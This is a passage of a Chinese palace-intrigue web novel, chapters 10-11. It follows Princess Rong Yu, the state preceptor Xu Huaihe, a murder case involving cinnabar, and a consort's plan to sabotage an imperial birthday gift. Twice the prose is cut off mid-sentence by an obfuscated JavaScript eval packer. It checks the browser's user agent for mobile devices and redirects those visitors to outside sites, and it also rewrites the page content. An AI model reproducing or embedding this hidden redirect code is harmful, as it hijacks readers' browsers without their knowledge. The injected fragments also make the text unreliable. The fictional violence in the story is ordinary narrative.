“是,”奇珍阁的掌柜连忙应声,“国师大人要的东西早早准备好了,我这就让人去取来。” 许怀鹤只看着容钰,目光如平静水面,而闻锐达不动声色地观察着他,两个男人站在一起,身量都差不多,明明许怀鹤看上去要瘦一些,但他身上的气势却不减分毫,两人身上同样带着冷意,又有细微的不同。 容钰莫名觉得有些心慌。 她唯一看上的鸽血石已经被闻锐达当做证物收走,继续待在这里似乎也没有什么其他事可做,容钰开口道别,从许怀鹤身侧慢慢走过。 宽大的衣袖摆动,一触即分,容钰下意识回头,许怀鹤还站在原地,几乎没有半点旁的情绪,更看不出来对她有意。 容钰略微失望地转身离去。 10.第 10 章 容钰走后,雅间的氛围像是水凝成了冰,处处都透着冷和剑拔弩张,闻锐达微微眯了下眼睛,带着几分不经意,开口询问许怀鹤:“国师大人当真只是来取货的吗?” 许怀鹤神色未变分毫,没有半分破绽,惜字如金:“嗯。” 可闻锐达总觉得,眼前的男人并没有表面上看上去那么简单,这并非是有什么证据,而是来自他向来不会出错的直觉。 为了方便查案,他一开始进奇珍阁时并未声张,而是悄然摸到了雅间外面,听完了里面人的对话。 他幼年和少年时因为家贫,干过不少谋生的活计,行了万里路,三流九教的人都有接触,无意中听说过有人会用朱砂造假,用特殊的法子融进普通的宝石中,做出假的鸽血石来。 而且朱砂颜色艳丽鲜红,足以以假乱真,越红的朱砂,做出来的假鸽血石品相也越好,价格也越高。 当奇珍阁的掌柜拿出鸽血石轻声介绍,再加上自己直觉使然的那一刻,闻锐达便笃定,这鸽血石和这次的案子看似无关,却一定有联系。 他当机立断现身,拿出了自己刑部员外郎的腰牌,让门口那小丫鬟惊慌失措地叫喊了出来,并趁里面的人还没来得及反应过来,推门而入,拿得了证物。 但这位国师大人出现的时机实在是太巧了,很难让人不怀疑点什么。 只是他目前毫无凭证,只能暂时放走这人,而且这位国师大人风头正盛,为人深不可测,还是小心为妙。 闻锐达对着许怀鹤拱手行礼,道别后大步出了奇珍阁,带着手底下的人回了刑部,先验这枚鸽血石的真假。 闻锐达走后,空荡荡的雅间内,许怀鹤撩起衣袍,在容钰刚才坐着的地方坐下。 属于容钰身上淡淡的山茶花香已经散了,许怀鹤的目光落在桌案上,他抬起手,用两根修长的手指夹住容钰方才饮过的茶杯,轻轻一转,便看到了上面残余的口脂,红如朱砂。 有一股深切的欲望引诱着他,藏在心底的欲念卷土重来,许怀鹤的心神在那一瞬间绷成一条线,然后啪一声断裂。 他知道这样做不对,也知道自己到底在做什么,但思绪已经控制不了身体的反应,他微微低下头,将自己的唇贴在了那抹口脂上。 原本温热的茶水已经凉透了,许怀鹤一饮而尽,口脂的花香气远大于清茶的香,他放下茶杯,伸出食指,轻轻抹去了上面还残留的丁点红印。 他动作极轻,目光深邃,就像真的在用指腹按压容钰柔软的唇一样。 一街之隔的马车内,容钰忽而抬手,摸了摸自己的唇角,愣了一瞬。 奇珍阁的掌柜让人端着木盒上来的时候,许怀鹤已经重新正襟坐好,掌柜一边让人收拾茶具,一边让人摆放木盒,完全没有注意到那些细微的不同之处。 这一次,奇珍阁的掌柜让四五个人同时把住了门口,又关好门,从内里锁了,确保外面的人打不开,这才小心翼翼地跪坐在许怀鹤面前,深深伏地,身体颤抖,声音也在打颤:“国师大人饶命,妾身办事不力……” “无妨,”许怀鹤开了木盒,他没有往跪在地上的掌柜看哪怕一眼,声音笃定,“闻锐达查不出什么。” 听着许怀鹤运筹帷幄的语气,也似乎并没有责罚自己的意思,奇珍阁的掌柜身体松懈下来,差点瘫软在地,但她还没来得及松一口气,就听到上首的男人继续淡淡道:“再有下次,奇珍阁就换个掌柜吧。” 奇珍阁的掌柜这次是真的瘫倒了,她头发散乱一半,混着冷汗贴在脸颊,根本不敢深想许怀鹤话里的意思。 究竟是让她换个身份继续做事,还是直接要了她这条命,让世界上再也不存在奇珍阁原掌柜这个人? 许怀鹤收了木盒,冷漠地起身,从地上女人的身旁走过,门外的人纷纷弯腰低头,大气也不敢出,直到许怀鹤离开了奇珍阁的大门,他们才手忙脚乱地进了雅间,把掌柜扶起来。 奇珍阁的掌柜顺了口气,她紧紧抓着阁内侍女的手,低声道:“今日惹得刑部员外郎上门,惊扰了公主殿下,不管怎么样,我们该给昭华公主赔罪才是,公主走的早,赶紧让人送一匣子珍珠去公主府上赔礼,礼数一定要周全,记住了吗?” 容钰收到那匣子白珍珠时,还思索着闻锐达办的案子,她心里实在好奇,又让春桃出去打听,等到休沐结束那日,终于知晓了事情来龙去脉。 “是情杀。”春桃一脸震惊,她小声道,“那位男子和奇珍阁的一位侍女情投意合,苦于身上没有什么银钱,迟迟不能求娶,那位侍女就提议说,让他为富贵人家作画,用上等的颜料提升画作价值,赚取一些钱财。” “那男子就去药房,贪便宜买了一捧次品朱砂,交给了那位侍女,想让侍女以次充好,在奇珍阁给他换一些上等的朱砂过来。” 容钰咬了口果脯,这一粒山楂微酸,她眯了眯眼睛,喝了口茉莉茶压了下:“胆子真大。” “是呀,”春桃也感叹,“这俩人胆子可不一般。这位侍女悄悄把上好的朱砂送去了男子家中,却无意中发现男子竟不是真心爱她,更没有想娶她的意思,不过是这女子的一厢情愿,那男子打算将钱弄到手之后,就抛弃她。” 春桃叹了口气:“她哪里忍得下这口气?上前就要与男子争论,却不想争执中她气上了头,失手用簪子……” 春桃顿了顿,没有明说,但屋内的人都知道接下来发生了什么。 容钰连果脯都忘了吃,她拈着山楂卷,聚精会神地盯着春桃,听春桃继续说:“那男子咽气后,侍女怕极了,好在当时夜深,男子又住的极偏僻,没有什么人听到。侍女看了一眼窗外的滔滔河水,计上心来,凭着力气把男子的尸首扔进了河中,过了好几天才被刑部发现。” “那女子虽然心存侥幸,但也知道自己终究逃不过一劫,于是写下了认罪书,把沾了血的簪子和认罪书包好,放在桌上,自己也悬梁自尽了,刑部的人赶到时,人已经救不回来了。” 容钰有些感叹,她虽觉得这名侍女行凶杀人不对,但也不免哀戚同情女子的遭遇,现在两人都已经不在人世,案子的结果也已明了,只希望那女子下一世再也不要遇到这样负心薄情的男子了。 桂嬷嬷在旁边听得叹气,她复想起什么,皱眉问春桃:“那刑部员外郎没有丝毫礼数,还夺了公主殿下看上的宝石,那这案子和那枚鸽血石有什么干系?” “似乎是有点关系,”春桃想了想,把自己打听到的消息都说了出来,“据说公主殿下看上的那枚鸽血石其实里面掺了朱砂,所以颜色才那般艳丽,实则并非极品,价值要大打折扣。” 容钰没想到竟然还有这样的事,她心想还好自己没买下那枚鸽血石,不然若是被他人看出来,自己恐怕又会在宫宴上丢一次脸。 桂嬷嬷也想到了这一茬,心里对闻锐达的不满略微消散了一些,闻锐达此举也算是歪打正着,就暂且不计较他冒犯公主殿下的事了。 春桃看了看容钰的脸色,继续说:“刑部员外郎未来误以为鸽血石里掺的朱砂,和侍女偷偷调换的朱砂有关,但似乎并不是那样。但鸽血石有假是真,奇珍阁因此声誉受损,之前不少买过东西的客人都疑心自己买到了赝品假货,纷纷找上门要个说法。” “奇珍阁差点就开不下去了,奇珍阁的掌柜听说都气病了,她道自己管束不严,才让底下的人钻了这样的空子,以后必定会严格把控每一样珍品,绝对不让客人们有损失。” 听到这里,容钰果脯也吃不下了,她想到了自己的公主府,这和奇珍阁的境况不是非常相似么?她治下不严,才让有心人钻了空子,让永宁提前得到消息,也不知道这公主府内,还到底有没有其他人的眼线? 有了前车之鉴,容钰不安地捏捏指尖,轻声唤来桂嬷嬷和春桃,说了自己要清查公主府下人的意思,桂嬷嬷和春桃先是沉默一瞬,便很快坚定起来,赞同了容钰的想法,着手开始整顿。 桂嬷嬷拿了府中的账册,又挑了几个小丫鬟一起收拾,准备对账,春桃则是拿出了府里下人的名册,挨个问话,配合桂嬷嬷清查。 容钰也没闲着,她仔细回想着上辈子自己被送去漠北和亲后,府中有哪些下人有了二心,早早准备离府的,将那些人的名字圈了出来。 谁知不过查了小半天,便已经有了好几个大问题,桂嬷嬷双目圆瞪,脸都气红了,春桃也气的不轻,恨不得拿脚去踹那几个跪在地上求饶的管事。 这些管事各个肥头大耳,中饱私囊,他们胆子极大,知道昭华公主下来不管这些琐事,又觉得公主好糊弄,便放心地私吞了大量钱财,田产和铺子,根本不做掩饰。 现在这么一查,账根本对不上,这些人吓得痛哭流涕,他们知道自己犯的是重罪,哪怕不被砍头也要杖刑,那几十板子下去也不知道还有没有命在,纷纷哭着求着昭华公主殿下放他们一条生路,他们以后再也不敢了。 春桃让侍卫把他们压着,大声道:“我呸!你们哪里来的脸面敢求公主殿下放你们一条生路?做这些腌臜事的时候,就没想过自己的脑袋吗?现在求饶有什么用,赶紧把你们吞的钱财全都吐出来!” 容钰也气,但一时又拿不定主意,正犹豫着,前门的小丫鬟急匆匆来道:“公主殿下,国师大人来了。” 如今府中乱糟糟的,不方便见客,换做以往,容钰肯定也会为了面子推脱,不接待许怀鹤,让许怀鹤改日再来。 但她转念一想,许怀鹤也不是旁人,以许怀鹤的君子性情,更不会多嘴,让许怀鹤帮帮忙也没什么不好的。 于是容钰让小丫鬟带许怀鹤进来,又让人略微收拾了一下厅里,摆出那套印着白鹤的茶具。 因为着急,许怀鹤刚到门口收了伞,容钰就提着裙摆,往前小跑了几步,又慢下来,语气急急地向许怀鹤大致说了府中管事吞钱的事。 因为刚才生着气,又跑动了几步,容钰原本泛粉的脸上浮现出一种红晕,带着几分无措和羞怯,抬眸看着他,语气又软又轻:“国师,依你看,这些人该怎么处置呢?” 没有哪个男人拒绝得了这样的场面,更别提眼前的人是他朝思暮想,求而不得的高悬明月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115080|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许怀鹤的喉结上下一滚,他错开了目光,免得自己眼里浓厚的欲念吓坏了面前这位娇弱的公主。 “这些人死不足惜,”许怀鹤的声音里带了几分冷,“公主仁善,若是不忍心处置这些人,交给我就好,我会把他们扭送刑部,自有官员断案。” 刑部虽然一堆酒囊饭袋,但有关公主的案子,想必他们也不敢怠慢。许怀鹤本来想直接让昭华公主将这些人送官,但他回想到上一次昭华公主和闻锐达几乎并肩站着的场景,又改了念头。 他不想容钰再和闻锐达有什么接触,那就经自己的手,把这些人送到刑部。 至于那些人会不会更加认定他和昭华公主有私交,许怀鹤在心里冷笑了一声,接下来要做的事情这么多,那些人还分得出心思,关心这些小事吗? 容钰松了一口气,脸上带了笑意:“多谢国师。” “公主不必客气。”许怀鹤看着容钰的笑颜,顿了顿,“其实臣今日前来,是想告知公主一件事。” 容钰略有疑惑地看着他,听到许怀鹤如同往常一样淡声道:“陛下寿辰将近,钦天监需得配合礼部布置各项事宜,臣最近一段时间可能没空来为公主殿下授课了。” 容钰轻轻“啊”了一声,她有些许失落,好不容易找到一个可以接近许怀鹤的法子,许怀鹤却要忙着办事,那她见到许怀鹤的时间又变少了许多,见到许怀鹤的机会也变少了,那她要怎么才能让许怀鹤爱上自己呢? 许怀鹤一直注视着容钰的面容,观察着容钰的情绪,察觉到容钰的失落,许怀鹤的心口像被轻飘飘的羽毛一样拨弄了一下,他忍着痒意,向容钰道别。 容钰注视着许怀鹤离开的身影,白雪飘飞,和许怀鹤大氅的冷白融在一起,她总有一种不管自己怎么追寻,好像都跟不上许怀鹤飘然如仙一般的脚步,只能远远望着的感觉。 桂嬷嬷将这一幕收进眼底,心里面不住叹着气。这可怎么办?公主一颗心全都在国师身上了,可国师看着,完全对公主殿下无意呀,一举一动都透着君子之风,未免也太守礼了些。 许怀鹤带着人离开,而昭华公主府的刁仆背主,欺上瞒下,被赶出来送官的事虽然已经被刻意隐瞒过,但还是有不少人知晓了。 怀柔宫内,永宁听小宫女说完这些话,连书都背不下去了,猛地站起来:“她是不是知道什么了!” 旁边的陈贵妃微微皱了下眉:“你慌什么?以昭华的性情,她若是真知道了什么,早就来找你对峙,来宫里发脾气了。” “对,”永宁重新缓慢坐下去,脸上露出嘲讽的神情,“她就是个傻子,能知道些什么,不过误打误撞,清了一批人出去罢了。不过那些管事敢吞那么多钱,她却不知道,现在才查出来,也是真让人笑掉大牙,愚笨至极!” 陈贵妃不紧不慢地拈了一粒冬日极其难得的青葡萄,轻轻一咬,汁水四溢:“走了这么多下人,昭华必定得找新仆从。再找几个人送到人牙子那里,想办法让他们进昭华公主府,继续安插着当耳目。” 怀柔宫里的对话并没有传出宫门,外面的人大多也只看到了表象,再加上陈贵妃派人散布消息,外人便觉得昭华公主不过前日在奇珍阁那里差点遭受蒙骗,所以把气都撒到下人身上,才把府中原本的一些人撤了出去,又添了新的进来。 闻锐达对此也有所耳闻,但他上次在奇珍阁和昭华公主见过一面之后,便知道传言不可尽信。 然而他此刻也没有多的精力分给旁的事,去探查真相,因为手上的朱砂案线索全都断了,像被人为抹除了一切痕迹,硬生生将这个案件的结果定在了“情杀”上。 闻锐达明知案子绝不是这样,但又无可奈何,因为人证物证俱在,就连上头的人也觉得这案以情杀定论就好,不必再多生事端,早早了事就行。 闻锐达不肯结案,坚持要继续查下去,但刑部官员嫌麻烦,觉得目前这个结果皆大欢喜,不需要再继续往下查,不断给他施压。 争取的后果就是被剥夺了继续查案的权利,连带着宗卷都被人搬走,闻锐达的拳头捏紧又松开,最后丧气地垂下肩膀,雪落在他的肩头,冷的彻骨,心里的火苗却越燃越旺。 总有一天,他要破除这些腐败陈规,一步一步手握更大的权利,改变官场风气,不会再让任何一个冤案,假案,错案被压住,无法翻案! 闻锐达漫无目的地往前走着,脑中思绪纷飞,等他回过神来的时候,却发现自己居然停在了昭华公主府的门口。 守在大门的侍卫警惕地看着他,闻锐达沉默一瞬,不自觉想起昭华公主天真烂漫的眼神,他没有再停顿,转身往回走,心里的火苗慢慢平息下来,又变成了另外一种更复杂的情绪。 同一时刻,许怀鹤站在观星楼上,和平常一样,目光沉沉地看向公主府所在的位置。在发现闻锐达的身影时,许怀鹤眉头微动,眼中戾气一闪而过,他在那里做什么? 闻锐达若有所觉地抬头,没有见到其余人,只看到了一只振翅飞过的寒鸦,玄色的羽毛在雪中显得更加阴黑,仿佛某种不详的预兆。 11.第 11 章 * 没了鸽血石,容钰也没了挑宝石的心情,她赶在父皇生辰的前几日制好了生辰礼物,说来还是许怀鹤为她提供了灵感。 父皇如今推崇道教,喜好丹道,容钰也就投其所好,请人专门塑了一座元始天尊的塑像,还写了帖子,请教许怀鹤该如何画制,又有什么需要注意的地方,许怀鹤也回了帖子,内容详尽,还专门点出了忌讳,大大方便了容钰。 之前授课时,许怀鹤未曾提笔写过字,容钰这还是第一次收到许怀鹤的回信,封信的蜜蜡上也有股淡淡的檀香,许怀鹤的字迹并不是她想象中的飘逸潇洒,而是沉稳大气,笔画凌厉,仿佛随时要跳脱出纸面。 好字。容钰轻轻感叹道,把这封书信小心放进了装发簪的妆盒里。 只可惜许怀鹤这段时间实在太忙,没能亲自见上一面,就连烧制好的掐丝珐琅玉清元始天尊像,也是小道童送来的。 木匣送来的时候,容钰挑开看了一眼,里面的元始天尊像凌然不可直视,气度磅礴,通身彩绘色调丰富,颜料昂贵,有重金装饰,胎体厚重,是不可多得的珍品,丝毫不比她上辈子拿出的玉石屏风差。 这次必定不会丢脸了,容钰放下心来,也松了口气,又让人开了库房,抬了一个木箱送到小道童眼前:“多谢国师,小小谢礼不成敬意,劳烦国师用心了。” 小道童一脸麻木地弯腰拱手谢过,出了公主府,让马车带着木箱回了观星楼。 他一边走一边想,昭华公主殿下出手实在太阔绰了,每次来公主府送东西,他至少都要带一箱谢礼回去,里面的东西随便拿出来一件,都足够一个普通人家吃上小半辈子。 想着想着,心里就起了些许贪恋,小道童吃力地搬着木箱,手却不自觉地伸向了锁口。 拿一个就好,他只拿一个金元宝,不,哪怕是一粒珍珠,一粒翡翠,或者一粒宝石也足够,国师大人不会发现的,以往送来的木箱他都直接锁进了库房里,连礼单都不看…… 拿到钱财以后的美好幻想已经将小道童淹没,他弯着腰,对周围发出的声响浑然不觉,一心想要打开木箱。 “嘎吱”一声后,小道童被箱子里面的流光溢彩闪了眼,他的呼吸陡然急促起来,脑袋昏沉发热,更忘记了自己一开始只想拿一块金元宝就收手,快速抓了一捧珍珠就想往自己的怀里塞。 一双白靴静静停在他面前。 空中似有银光划过,紧接着“叮”的一声,观星楼的木质地板破了个洞,小道童愣愣看着自己被匕首钉在地板上的手掌,隔了好几息才感受到钻心刺骨的疼痛,猛地惨叫了出来。 他想用另一只完好的手去捂住流出来的血,却忘了这只手里还攥着珍珠,一时间圆润的白色珠子如同瀑布般坠落下来,撒了一地,有些滚到了角落去,还有一些顺着楼梯滑了下去,混着许怀鹤的声音,泠泠作响。 许怀鹤往日清冽声音此时带着十足的阴冷,让人不寒而栗,眼中全是戾气,眸子黑沉沉的,像能吞噬一切:“谁允许你碰她送的东西?谁给你的胆子?” 小道童被吓得“噗通”一声跪了下来,他哆哆嗦嗦地开口想要求饶,却被许怀鹤猛地扼住了喉咙,整个人向后仰去。 同一时刻,将他的手掌一同钉在地板上的匕首也被许怀鹤单手抽了出来,殷红的血液迸溅,有几滴血珠落到了许怀鹤的脸上,有一颗不偏不倚地正中他的眉心,宛如一颗流淌的红痣。 小道童连声音都发不出来,他双眼翻白,身体抽搐,骇然地看着许怀鹤此刻的模样。 许怀鹤已经完全褪去了清冷君子的表象,这一刻,他仿佛人间修罗,清俊的面容也因为那滴血而变得妖孽至极,眼神锋利如刀,和从地狱中爬出来的恶鬼没什么两样。 片刻后,许怀鹤手上的力气慢慢减弱,他收了匕首,冷着脸松开手,已经在窒息边缘的小道童瘫软下来,大口呼吸着,没想到自己居然能逃过一劫。 可他的庆幸不过一瞬间,有两个黑衣侍卫一左一右按住了他的肩膀,把他像死狗一样往外拖着,而许怀鹤已经恢复了平常的神色,对着突然出现的侍卫冷笑了一声:“这就是你们的主子送过来的好狗?让他换一条更听话的来。” 不!小道童撕心裂肺地咳嗽着,他不能被送回去! 他这样不忠于主子的奴仆,送回去只有死路一条!他不该起贪念的,他怎么能染指公主殿下送给国师大人的谢礼,他怎么就鬼迷了心窍! 小道童绝望地挣扎着,但根本无力挣脱,他最后看到的,也只有许怀鹤那双白色的皂靴,还有同样雪白,绣着飞鹤的片片衣角而已。 一个小道童的生死无足轻重,就和那朱砂案里的男子女子一般,都不过是一粒小小的石子,被人随意投进波涛滚滚的护城河中,成了浪花中的一小簇。 直到皇帝寿辰那日,宫宴开场,都无人注意到许怀鹤身边的小道童换了一个。 容钰这日早早就起身梳妆,自从孔景华不再是她的夫子之后,她就没起这么早过了,困得眼睛都没能睁开,梳洗的时候,温热的锦帕在脸上轻柔覆盖,她差点又睡过去。 春桃和桂嬷嬷都忍着笑,觉得她可爱极了,轻手轻脚地帮她拾掇着,为了让她能够多睡一会儿。 直到快上马车,容钰才勉强醒过神,她接过春桃递来的手镜看了一眼,发现自己今天的妆容格外艳丽,如果说她本身的美貌有十分,那今日的妆容便将她的光华放大到了十二分。 花钿里添了金粉,就连眼下也点了珍珠,睫毛纤长,红唇张扬,一颦一笑都是雍容华贵,不带半点风情,但处处都是风情。 “这外番进贡的螺子黛可真好用,”春桃笑着道,“又黑又细,带着香气,还轻易抹不掉,必须得用特制的香粉才能去除,也不怕花了妆。” 从外番进贡的螺子黛一共只有半盒,不过十几只,父皇全都给了她,而永宁在旁边却只得了一盒江南进贡的螺子黛,没什么稀奇。 当时永宁差点没绷住脸上的表情,就要和之前一样嫉妒她,尖酸刻薄地嘲讽她,但父皇还在,永宁又不得不装出笑脸,还假惺惺地恭贺她。 容钰才不吃永宁这一套,她一只螺子黛都不分给永宁,高高兴兴地抱着盒子出了宫,现在想起这些往事,容钰的嘴角边又有了几分笑意,她抿了抿唇,提起裙摆,跨过门槛。 天公作美,连着几日都是连绵雨雪,今日却难得放晴,容钰披着长斗篷出现在众人目光中的那一刻,晨光也刚好从稀疏的云层中倾泻下来,为她周身都增添了一层金色的光晕,看呆了门口的侍卫和车夫。 马车平稳向前,容钰抱着手炉,悄悄掀开半边帘子往外看,正巧一匹高头大马从旁边驶过,容钰下意识仰头,看到了闻锐达锐利的侧脸。 闻锐达早已认出这是公主府的马车,他本可以走另一条路避开,免得耽误时候,却不知道为什么刻意放慢了速度,盯着紧闭的车帘,脑海里不自觉浮现那日见到昭华公主的模样。 车帘半掀,美人芙蓉面若隐若现,一双眼眸含着秋水,好似看到了他,又好似没有。今日的昭华公主比那日好像更美了些,闻锐达呼吸微滞,他侧头避开视线,下马行礼,再抬头时,那辆马车已经驶过,车帘也被放下,只余下淡淡的山茶花香气。 闻锐达有一瞬间的失神。 他握了握拳,重新上马前往刑部,他这样的官职品级,是远不能进宫赴宴的,哪怕是坐在尾座的资格也没有,只能得一杯皇上大方宴请百官,由小太监送来的好酒而已。 马车内,容钰并没有把刚才的那一面放在心上,她小声撒娇:“嬷嬷,不过两指宽的缝,不会被冷风吹着的,我身子好着呢,这些天都没咳嗽过,止咳膏也不用吃的。” 桂嬷嬷见容钰面色红润,比起以往冬日好了不少,这才放心,但还是不许容钰再掀车帘。 皇帝勤勉,哪怕是寿辰也坚持上朝,贡宴设在了晚上,容钰现在进宫也不算晚。进了宫门,容钰换成软轿继续坐着,她没去御书房,而是一路到了先皇后曾经住着的坤宁宫。 这里承载了她人生前十五年几乎所有的记忆,在她未及笄之前,还没有搬出去住自己的公主府时,她都是在这里长大的。 母后在她七岁那年病故,同年父皇改了国号,生离死别对于一个孩子来说太过沉重,加上容钰从小体弱,悲痛交加下,病来如山倒,也发起了高热,吓坏了一众宫人。 甚至有宫女偷偷妄加猜测,是不是皇后娘娘太过疼爱昭华公主,想带容钰一起离开,其余人纷纷变了脸色,当然那名乱嚼舌的宫女最后挨了处置,掌嘴后送进了浣衣局做粗活。 容钰对这段往事的记忆很深刻,因为她从那时起突然意识到,原来有很多人是畏惧着母后,才装出一副对她极好的样子,母妃去后,那些人就露出了本来的面目,比如陈贵妃,又比如那些宫女太监。 在母后离世以前,她小时候和永宁的关系其实是很好的,至少容钰自己是这么认为的。 那时她经常往怀柔宫跑,她和永宁年纪相仿,宫里又没有其他的玩伴,宫女和嬷嬷们规矩束缚太多,她就喜欢和永宁玩。 那时陈贵妃在一旁温柔地笑着,看她们玩闹,还总让人端上容钰最喜欢的糕点,也不拘着她,任凭她想吃多少就吃多少,不像母妃,只允许她吃一两块就不许多吃。 可是母后一去,父皇就夜夜宿在怀柔宫里,容钰听桂嬷嬷说,父皇只来看过病中的她一次,后来就被陈贵妃以“别过了病气”为理由,再也没来过,直到她痊愈。 她有力起身那日,靠在软枕上,喝着苦涩的补药,永宁戴着梨花簪子,坐在拔步床边看她喝药,眼里全是可惜,嘟着嘴说:“你怎么没有死掉呀?” 桂嬷嬷的脸色一瞬间变了,若不是眼前的人是另一位公主,她早就一耳光扇了过去,容钰也愣住,一口药汁呛在喉咙,咳出了眼泪,原本就憔悴的面容显得更加可怜。 永宁却丝毫不觉得有什么不对,她声音脆脆的,像一把锤子一样,敲在容钰本就破碎的心口上,继续道:“要是你死掉了,我就是最尊贵的长公主啦。” 带永宁来坤宁宫的宫女吓得不住磕头赔罪,又连忙找借口抱着永宁回了怀柔宫,告知了陈贵妃此事。 陈贵妃后来自然是亲自上门赔罪,拉着容钰的手温声安慰,又说父皇最近国事操劳,心神不宁,不好用这样的事去打扰他,那时容钰年纪小又天真,也信了,最后这件事便以一句“永宁童言无忌”草草了事,父皇也送来了大量的赏赐安慰她。 那日过后,陈贵妃和永宁便再也没有邀约她去怀柔宫玩耍,后面容钰也慢慢看清了这对母女的算计,她厌烦极了,只想安安静静地住在坤宁宫里,及笄后更是直接离宫去了公主府。 没有母后的日子不算太难过,虽然再也没有母后保护,但舅舅外祖父疼爱她,父皇也宠爱她,她依旧是最尊贵的公主,没有一个人宫人敢对她不敬。 曾经她也以为自己会一直这么尊贵下去,直到她被强行送去漠北和亲。 容钰收了思绪,她刚刚跨进院内,就有眼熟的小宫女上来扶她,帮她收了披风,屋内的热茶也早已备好,暖炉熏起,屋内摆设没有变动,一切如常。 在熟悉又安心的地方,容钰缓慢放松下来,她先叫了小太监去御书房传话,她进宫之后没先拜见父皇,担心打扰父皇和其他大臣议事,等议完事她再去请安。 小太监走后,容钰又点了两个宫女,让她们去怀柔宫,向陈贵妃打声招呼。 这些年她和陈贵妃一直是井水不犯河水的关系,她既然回到坤宁宫,还是得做做样子,全了礼数,但是见面就不必了,等宫宴再说吧。 此刻的怀柔宫内,陈贵妃已经梳洗完毕,正由宫女挖出带着花香气的养颜膏,涂在她的手臂和锁骨处。 陈贵妃看着身体表面浮现出的细纹,再一次认识到自己的年纪已经不小了,比不得那些新进宫的秀女,个个水灵又年轻,她有些烦躁地皱了皱眉,旁边的宫女吓得差点没拿稳花勺,继续屏着气,动作轻柔地涂抹着。 旁边的永宁也上完了妆,她对头上的珠钗样式不怎么满意,让梳头的宫女试了一朵又一朵,最后还是挑了一朵梨花瓣状的珠钗戴好。 她刚刚对着铜镜照了照,就听见门外的小宫女进来报,昭华公主入宫了。 陈贵妃没什么反应,今日皇帝寿辰,昭华作为女儿进宫不是很正常吗?永宁悄悄撇嘴,装作不经意地向小宫女打听了昭华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15125332|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日的装扮,听完她气愤地看着自己身上珍贵的云缎,越发觉得自己打扮的太素淡,压不过昭华。 凭什么?凭什么容钰穿什么都那么美?! 她正想随手拿起一个碟子扔了发泄脾气,就看到母妃身边的大宫女匆匆走进来,低声道:“昭华公主换了祝寿礼。” “什么?!”永宁尖声叫道,她猛地丢了手里的盘子,伸手去扯大宫女的衣领,尖尖的手指甲划过了大宫女的脸颊,带出一道血痕。 大宫女吃痛,也不敢吭声,默默受着,听到永宁公主疯了一样叫道:“她怎么把祝寿礼换了?她是不是得到什么消息了?谁让她换的?谁告诉她的?是不是你?!” 陈贵妃穿好了襦裙,外面套了短袄,她一边展开双臂,由宫女为她系腰带,一边皱眉道:“永宁,闹什么?” “母妃!”永宁松开手,急的跺脚,“容钰她把祝寿的贺礼换了,我还怎么压住她,还怎么让她出丑?那我们之前做的准备,不就全都无用了吗?” 陈贵妃也没想到,特意安插在昭华公主府内的下人这般无用,打听到的消息居然没用上,容钰之前大张旗鼓地找玉石做屏风祝寿图,却临时换了祝寿礼,那永宁费心思做的刺绣图…… “慌什么?”陈贵妃很快冷静下来,她侧头问大宫女,“昭华公主的祝寿礼换成了什么?” 大宫女跪着:“回娘娘的话,换成了一尊元始天尊像。” 陈贵妃思索了一会儿,整个怀柔宫内的人都放轻了呼吸,就连永宁也不敢出声,她摸了摸刚才因为发疯而有些松动的发髻,听到母妃开口道:“那就让人做点手脚。” “皇上如今推崇道教,敬重元始天尊,”陈贵妃忽而一笑,“那若是昭华公主送来的元始天尊像破损不堪,皇上会作何想法?这可不是什么好预兆。” 跪在地上的大宫女深深哆嗦了一下。 “好啊!她这次必定会在百官面前丢脸,就连父皇也会厌恶她,竟然敢对元始天尊不敬,也对父皇不敬。”永宁高兴地拍了拍手,撒娇地圈住陈贵妃的手臂,“母妃快让人去吧。” 她倒要看看容钰这次怎么办! 得了命令的两个小太监战战兢兢地出了怀柔宫,他们对视一眼,都从对方眼中看到了绝望。 陈贵妃的命令他们不得不做,知道了这件事,他们已经逃不了干系,如果没能做成,陈贵妃那里肯定逃不了一顿板子,以贵妃的狠辣,他们俩不一定还有命活下来。 这件事做成了,如果被皇上发现,那同样也是没命,事到如今,就只能尽量不留痕迹,好好把贵妃交代的事办好,才能保住一条小命。 他们一路不敢多话,怀着沉重的心思去了造册的地方,这里也归礼部管辖,每年进贡的东西都在这里登记造册,然后送往国库,皇帝寿辰收的贺礼也在这里一一登记,暂时存放在后面的屋子里,等过了今日,再放进皇帝的私库。 百官们除了家底实在殷实,也不敢送的太贵重,怕被皇帝误以为他们以权谋私,贪污银两,但也不能送的太轻,不然会被认为不尊圣上。 但送来送去,左不过也是那些字画珍宝,礼部的人早就已经看惯,有条不紊地挨个打开检查,只是今年比起往年又有些不同,来监督的人里多了一个国师大人,许怀鹤。 许怀鹤今日换了青色的道袍,他站在屋檐下,礼部的人搬着箱子进进出出,从他身侧走过,像一群忙碌的蚂蚁,他静静看着,神色平静而冷漠,仿佛事不关己。 里面的人也巴不得他这副态度,若是国师大人真要插手,他们反而会不舒服。担心国师大人站久了疲惫,礼部的人还特意请许怀鹤进屋内休息,备了上好的乌龙茶,方便他一边看册子一边品茗。 许怀鹤也知道他今日来监督不过做做样子,该做的事他们已经提前做了,现在每件寿礼上都有不定量的朱砂和其他的毒素,凡是把玩,必定沾毒,只等慢毒积累,最后一朝迸发。 